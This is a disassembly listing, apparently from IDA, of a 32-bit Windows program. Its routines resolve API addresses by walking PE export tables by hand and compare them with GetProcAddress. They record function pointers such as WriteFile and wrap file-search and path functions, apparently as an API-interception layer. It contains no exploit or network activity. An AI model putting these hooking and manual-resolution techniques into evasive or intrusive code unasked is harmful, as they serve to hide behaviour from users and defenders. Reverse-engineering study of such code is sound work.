arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4D9C0E
		push	[ebp+arg_4]
		call	ds:dword_4E175C	; LoadLibraryA
		mov	[ebp+var_8], eax


loc_4D9C0E:				; CODE XREF: sub_4D9BEB+15j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_4E1728	; GetProcAddress
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4D9BEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9C22	proc near		; CODE XREF: sub_4D58A0+16p
					; sub_4D9518+CCp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D9BEB
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4D9C4F
		push	ds:off_4DE4F8
		push	30h
		push	ds:off_4DE4FC
		call	sub_4D848C


loc_4D9C4F:				; CODE XREF: sub_4D9C22+18j
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4D9C22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9C54	proc near		; CODE XREF: _0:0041E9D9p _0:0041E9EBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_4D9C64
		mov	[ebp+arg_0], offset sub_4D8C27


loc_4D9C64:				; CODE XREF: sub_4D9C54+7j
		movzx	eax, ds:byte_4E60D0
		test	eax, eax
		jnz	short loc_4D9C7A
		push	[ebp+arg_0]
		call	ds:dword_4E1790	; SetUnhandledExceptionFilter
		jmp	short loc_4D9C8A
; ---------------------------------------------------------------------------


loc_4D9C7A:				; CODE XREF: sub_4D9C54+19j
		push	offset sub_4D8C27
		call	ds:dword_4E1790	; SetUnhandledExceptionFilter
		mov	eax, offset sub_4D8C27


loc_4D9C8A:				; CODE XREF: sub_4D9C54+24j
		pop	ebp
		retn	4
sub_4D9C54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9C8E	proc near		; CODE XREF: sub_4D9D79+4Bp
					; sub_4D9F43+108p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+18h]
		dec	eax
		mov	[ebp+var_4], eax


loc_4D9CA2:				; CODE XREF: sub_4D9C8E:loc_4D9D70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jg	loc_4D9D75
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+20h]
		mov	eax, [ebp+var_10]
		mov	eax, [ecx+eax*4]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_20], eax


loc_4D9CD7:				; CODE XREF: sub_4D9C8E+7Bj
		mov	eax, [ebp+var_20]
		mov	al, [eax]
		mov	[ebp+var_21], al
		mov	ecx, [ebp+var_1C]
		cmp	al, [ecx]
		jnz	short loc_4D9D11
		cmp	[ebp+var_21], 0
		jz	short loc_4D9D0B
		mov	eax, [ebp+var_20]
		mov	al, [eax+1]
		mov	[ebp+var_22], al
		mov	ecx, [ebp+var_1C]
		cmp	al, [ecx+1]
		jnz	short loc_4D9D11
		add	[ebp+var_20], 2
		add	[ebp+var_1C], 2
		cmp	[ebp+var_22], 0
		jnz	short loc_4D9CD7


loc_4D9D0B:				; CODE XREF: sub_4D9C8E+5Cj
		and	[ebp+var_28], 0
		jmp	short loc_4D9D19
; ---------------------------------------------------------------------------


loc_4D9D11:				; CODE XREF: sub_4D9C8E+56j
					; sub_4D9C8E+6Dj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_28], eax


loc_4D9D19:				; CODE XREF: sub_4D9C8E+81j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4D9D5A
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+24h]
		mov	eax, [ebp+var_10]
		mov	ax, [ecx+eax*2]
		mov	[ebp+var_18], ax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [eax+1Ch]
		movzx	eax, [ebp+var_18]
		mov	eax, [ecx+eax*4]
		add	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		jmp	short locret_4D9D77
; ---------------------------------------------------------------------------


loc_4D9D5A:				; CODE XREF: sub_4D9C8E+9Bj
		cmp	[ebp+var_C], 0
		jle	short loc_4D9D69
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	short loc_4D9D70
; ---------------------------------------------------------------------------


loc_4D9D69:				; CODE XREF: sub_4D9C8E+D0j
		mov	eax, [ebp+var_10]
		dec	eax
		mov	[ebp+var_4], eax


loc_4D9D70:				; CODE XREF: sub_4D9C8E+D9j
		jmp	loc_4D9CA2
; ---------------------------------------------------------------------------


loc_4D9D75:				; CODE XREF: sub_4D9C8E+1Aj
		xor	eax, eax

locret_4D9D77:				; CODE XREF: sub_4D9C8E+CAj
		leave
		retn
sub_4D9C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9D79	proc near		; CODE XREF: sub_4D7494+97p
					; sub_4D7494+C5p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	[ebp+arg_4]
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4D9D9D
		push	[ebp+arg_4]
		call	ds:dword_4E175C	; LoadLibraryA
		mov	[ebp+var_14], eax


loc_4D9D9D:				; CODE XREF: sub_4D9D79+16j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, [eax+78h]
		mov	[ebp+var_4], ecx
		push	[ebp+arg_0]
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_4D9C8E
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4D9D79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9DD4	proc near		; CODE XREF: sub_4D4DC0+12p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	offset dword_4E60B8
		call	ds:dword_4E174C	; InitializeCriticalSection
		push	offset dword_4E6098
		call	ds:dword_4E174C	; InitializeCriticalSection
		push	28h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4D9E13
		push	83h
		mov	ecx, [ebp+var_8]
		call	sub_4DB77C
		mov	[ebp+var_1C], eax
		jmp	short loc_4D9E17
; ---------------------------------------------------------------------------


loc_4D9E13:				; CODE XREF: sub_4D9DD4+2Bj
		and	[ebp+var_1C], 0


loc_4D9E17:				; CODE XREF: sub_4D9DD4+3Dj
		mov	eax, [ebp+var_1C]
		mov	ds:dword_4E60D4, eax
		push	28h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4D9E3F
		push	9
		mov	ecx, [ebp+var_C]
		call	sub_4DB77C
		mov	[ebp+var_20], eax
		jmp	short loc_4D9E43
; ---------------------------------------------------------------------------


loc_4D9E3F:				; CODE XREF: sub_4D9DD4+5Aj
		and	[ebp+var_20], 0


loc_4D9E43:				; CODE XREF: sub_4D9DD4+69j
		mov	eax, [ebp+var_20]
		mov	ds:dword_4E60D8, eax
		push	28h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4D9E6B
		push	9
		mov	ecx, [ebp+var_10]
		call	sub_4DB77C
		mov	[ebp+var_24], eax
		jmp	short loc_4D9E6F
; ---------------------------------------------------------------------------


loc_4D9E6B:				; CODE XREF: sub_4D9DD4+86j
		and	[ebp+var_24], 0


loc_4D9E6F:				; CODE XREF: sub_4D9DD4+95j
		mov	eax, [ebp+var_24]
		mov	ds:dword_4E194C, eax
		push	28h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_4D9E97
		push	9
		mov	ecx, [ebp+var_14]
		call	sub_4DB77C
		mov	[ebp+var_28], eax
		jmp	short loc_4D9E9B
; ---------------------------------------------------------------------------


loc_4D9E97:				; CODE XREF: sub_4D9DD4+B2j
		and	[ebp+var_28], 0


loc_4D9E9B:				; CODE XREF: sub_4D9DD4+C1j
		mov	eax, [ebp+var_28]
		mov	ds:dword_4E1954, eax
		push	28h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_4D9EC3
		push	9
		mov	ecx, [ebp+var_18]
		call	sub_4DB77C
		mov	[ebp+var_2C], eax
		jmp	short loc_4D9EC7
; ---------------------------------------------------------------------------


loc_4D9EC3:				; CODE XREF: sub_4D9DD4+DEj
		and	[ebp+var_2C], 0


loc_4D9EC7:				; CODE XREF: sub_4D9DD4+EDj
		mov	eax, [ebp+var_2C]
		mov	ds:dword_4E1950, eax
		push	offset dword_4DE5B4
		push	2Fh
		push	offset off_4E1250
		call	sub_4D9F43
		add	esp, 0Ch
		push	offset dword_4DE5C4
		push	2
		push	offset off_4E13C8
		call	sub_4D9F43
		add	esp, 0Ch
		push	offset dword_4DE5D0
		push	1
		push	offset off_4E13D8
		call	sub_4D9F43
		add	esp, 0Ch
		push	offset dword_4DE5DC
		push	3
		push	offset off_4E13E0
		call	sub_4D9F43
		add	esp, 0Ch
		push	offset dword_4DE5F8
		push	2
		push	offset off_4E13F8
		call	sub_4D9F43
		add	esp, 0Ch
		push	offset dword_4DE5B4
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_4], eax
		leave
		retn
sub_4D9DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D9F43	proc near		; CODE XREF: sub_4D9DD4+107p
					; sub_4D9DD4+11Bp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	[ebp+var_4], 0
		push	[ebp+arg_8]
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4D9F6B
		push	[ebp+arg_8]
		call	ds:dword_4E175C	; LoadLibraryA
		mov	[ebp+var_10], eax


loc_4D9F6B:				; CODE XREF: sub_4D9F43+1Aj
		cmp	[ebp+var_10], 0
		jnz	short loc_4D9F87
		push	ds:off_4DE4F8
		push	0DDh
		push	ds:off_4DE4FC
		call	sub_4D848C


loc_4D9F87:				; CODE XREF: sub_4D9F43+2Cj
		push	1
		push	[ebp+var_10]
		mov	ecx, ds:dword_4E60D8
		call	sub_4DB98E
		mov	eax, [ebp+var_10]
		and	eax, 0FFFh
		test	eax, eax
		jz	short loc_4D9FBF
		mov	eax, [ebp+var_10]
		and	ax, 0F000h
		mov	[ebp+var_8], eax
		push	1
		push	[ebp+var_8]
		mov	ecx, ds:dword_4E60D8
		call	sub_4DB98E
		jmp	short loc_4D9FC5
; ---------------------------------------------------------------------------


loc_4D9FBF:				; CODE XREF: sub_4D9F43+5Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax


loc_4D9FC5:				; CODE XREF: sub_4D9F43+7Aj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 4550h
		jnz	short loc_4D9FE8
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		add	ecx, [eax+78h]
		mov	[ebp+var_4], ecx


loc_4D9FE8:				; CODE XREF: sub_4D9F43+97j
		and	[ebp+var_14], 0
		jmp	short loc_4D9FF5
; ---------------------------------------------------------------------------


loc_4D9FEE:				; CODE XREF: sub_4D9F43:loc_4DA082j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_4D9FF5:				; CODE XREF: sub_4D9F43+A9j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+arg_4]
		jnb	loc_4DA087
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*8+4]
		push	[ebp+var_10]
		call	ds:dword_4E1728	; GetProcAddress
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_4DA035
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*8]
		push	eax
		push	[ebp+var_18]
		mov	ecx, ds:dword_4E60D4
		call	sub_4DB98E


loc_4DA035:				; CODE XREF: sub_4D9F43+D8j
		cmp	[ebp+var_4], 0
		jz	short loc_4DA082
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*8+4]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4D9C8E
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_1C]
		jz	short loc_4DA082
		cmp	[ebp+var_1C], 0
		jz	short loc_4DA082
		cmp	[ebp+var_18], 0
		jz	short loc_4DA082
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*8]
		push	eax
		push	[ebp+var_1C]
		mov	ecx, ds:dword_4E60D4
		call	sub_4DB98E


loc_4DA082:				; CODE XREF: sub_4D9F43+F6j
					; sub_4D9F43+119j ...
		jmp	loc_4D9FEE
; ---------------------------------------------------------------------------


loc_4DA087:				; CODE XREF: sub_4D9F43+B8j
		cmp	[ebp+arg_8], offset dword_4DE5B4
		jnz	short locret_4DA0BA
		cmp	[ebp+var_4], 0
		jz	short locret_4DA0BA
		push	offset aWritefile ; "WriteFile"
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4D9C8E
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short locret_4DA0BA
		mov	eax, [ebp+var_20]
		mov	ds:dword_4E17BC, eax

locret_4DA0BA:				; CODE XREF: sub_4D9F43+14Bj
					; sub_4D9F43+151j ...
		leave
		retn
sub_4D9F43	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA0BC	proc near		; CODE XREF: _4:004CD715p
		push	ebp
		mov	ebp, esp
		push	0
		call	sub_4DA0C8
		pop	ebp
		retn
sub_4DA0BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA0C8	proc near		; CODE XREF: sub_40B105+478p
					; sub_40B9B9+DFp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEA00
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	offset dword_4E60B8
		call	ds:dword_4E16C4	; RtlEnterCriticalSection
		mov	ds:byte_4E60D0,	1
		push	0
		call	sub_4D9C54
		and	[ebp+var_4], 0
		call	sub_4D71C3
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4DA138
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 1
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4DA134
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_4DA134:				; CODE XREF: sub_4DA0C8+5Fj
		or	[ebp+var_4], 0FFFFFFFFh


loc_4DA138:				; CODE XREF: sub_4DA0C8+4Bj
		mov	[ebp+var_4], 2
		call	sub_4D46D0
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4DA16D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 3
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4DA169
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_4DA169:				; CODE XREF: sub_4DA0C8+94j
		or	[ebp+var_4], 0FFFFFFFFh


loc_4DA16D:				; CODE XREF: sub_4DA0C8+80j
		mov	[ebp+var_4], 4
		push	[ebp+arg_0]
		call	ds:dword_4E16C8	; ExitProcess
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4DA1B6
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 5
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4DA1A2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_4DA1A2:				; CODE XREF: sub_4DA0C8+CDj
		push	[ebp+arg_0]
		call	ds:dword_4E16E4	; GetCurrentProcess
		push	eax
		call	ds:dword_4E1798	; TerminateProcess
		or	[ebp+var_4], 0FFFFFFFFh


loc_4DA1B6:				; CODE XREF: sub_4DA0C8+B9j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4DA0C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA1C7	proc near		; CODE XREF: sub_4091C2+22p
					; sub_409BB2+27p
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	offset dword_4DE5B4
		push	offset aSearchpatha_0 ;	"SearchPathA"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_4DA20D
		push	0
		xor	edx, edx
		mov	ecx, [ebp+arg_4]
		call	sub_4D19D2
		test	eax, eax
		jz	short loc_4DA20D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	ds:dword_4E1708	; GetFullPathNameA
		jmp	short locret_4DA222
; ---------------------------------------------------------------------------


loc_4DA20D:				; CODE XREF: sub_4DA1C7+20j
					; sub_4DA1C7+30j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_4]

locret_4DA222:				; CODE XREF: sub_4DA1C7+44j
		leave
		retn	18h
sub_4DA1C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA226	proc near		; DATA XREF: _6:004E1360o

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEA48
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_4DA296
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte


loc_4DA296:				; CODE XREF: sub_4DA226+35j
		cmp	[ebp+arg_0], 0
		jnz	short loc_4DA2D3
		push	0
		xor	edx, edx
		mov	ecx, [ebp+var_20]
		call	sub_4D19D2
		test	eax, eax
		jz	short loc_4DA2D3
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	ds:dword_4E170C	; GetFullPathNameW
		push	0FFFFFFFFh
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_4DA323
; ---------------------------------------------------------------------------


loc_4DA2D3:				; CODE XREF: sub_4DA226+74j
					; sub_4DA226+84j
		push	offset dword_4DE5B4
		push	offset aSearchpathw ; "SearchPathW"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_1C]
		push	0FFFFFFFFh
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_4DA323
; ---------------------------------------------------------------------------


loc_4DA311:				; DATA XREF: _5:004DEA50o
		mov	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		push	[ebp+var_28]
		call	sub_4D83DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_4DA323:				; CODE XREF: sub_4DA226+ABj
					; sub_4DA226+E9j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_4DA226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA334	proc near		; CODE XREF: sub_4049CD+201p
					; sub_40752B+3Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4CF63E
		test	eax, eax
		jnz	short loc_4DA35A
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4E16D0	; FindFirstFileA
		mov	[ebp+var_4], eax


loc_4DA35A:				; CODE XREF: sub_4DA334+15j
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_4DA334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA361	proc near		; DATA XREF: _6:004E1300o

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_134		= byte ptr -134h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004DA496 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEA58
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		and	[ebp+var_4], 0
		push	104h
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_168], eax
		mov	eax, [ebp+var_168]
		mov	[ebp+var_20], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_20]
		rep stosd
		push	0
		push	0
		push	104h
		push	[ebp+var_20]
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4E17B8	; WideCharToMultiByte
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_160]
		push	eax
		push	[ebp+var_20]
		call	sub_4CF63E
		test	eax, eax
		jnz	short loc_4DA416
		and	[ebp+var_164], 0
		push	offset dword_4DE5B4
		push	offset aFindfirstfilew ; "FindFirstFileW"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_164], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_164]
		mov	[ebp+var_1C], eax
		jmp	short loc_4DA475
; ---------------------------------------------------------------------------


loc_4DA416:				; CODE XREF: sub_4DA361+84j
		lea	ecx, [ebp+var_134]
		lea	eax, [ebp+var_160]
		sub	ecx, eax
		lea	esi, [ebp+var_160]
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	104h
		mov	eax, [ebp+arg_4]
		add	eax, 2Ch
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_134]
		push	eax
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar
		push	0Eh
		mov	eax, [ebp+arg_4]
		add	eax, 234h
		push	eax
		push	0Eh
		lea	eax, [ebp+var_30]
		push	eax
		push	0
		push	0
		call	ds:dword_4E1770	; MultiByteToWideChar


loc_4DA475:				; CODE XREF: sub_4DA361+B3j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4DA480
		jmp	short loc_4DA496
sub_4DA361	endp


; =============== S U B	R O U T	I N E =======================================



sub_4DA480	proc near		; CODE XREF: sub_4DA361+118p
					; DATA XREF: _5:004DEA60o
		mov	eax, [ebp-20h]
		mov	[ebp-16Ch], eax
		push	dword ptr [ebp-16Ch]
		call	sub_4D83DD
		pop	ecx
		retn
sub_4DA480	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4DA361


loc_4DA496:				; CODE XREF: sub_4DA361+11Dj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_4DA361

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DA4AA	proc near		; DATA XREF: _6:004E1308o

var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_134		= byte ptr -134h
var_30		= byte ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 004DA5EB SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEA68
